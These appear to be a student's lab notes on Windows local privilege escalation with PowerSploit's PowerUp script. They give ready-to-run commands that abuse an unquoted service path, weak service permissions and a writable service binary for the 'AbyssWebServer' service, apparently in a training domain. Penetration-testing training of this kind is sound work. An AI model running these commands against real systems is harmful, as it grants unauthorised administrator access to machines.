Local Privilege Escalation

Used https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

In case if service cannot be started try stopping then restarting the service.

Unquoted Service Path

If unquoted service path is C:\WebServer\Abyss Web Server\abyssws.exe

Write-ServiceBinary -Name 'AbyssWebServer' -Path 'C:\WebServer\Abyssws.exe' -Username 'dcorp\student145'

net start AbyssWebServer or enter logoff

Service Permission

Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\student145' 

net start AbyssWebServer or enter logoff

Service executable and argument permission

Install-ServiceBinary -Name 'AbyssWebServer' -UserName 'dcorp\student145'

OR

Write-ServiceBinary -Name 'AbyssWebServer' -Path 'C:\WebServer\Abyss Web Server\abyssws.exe' -Username 'dcorp\student145'

net start AbyssWebServer or enter logoff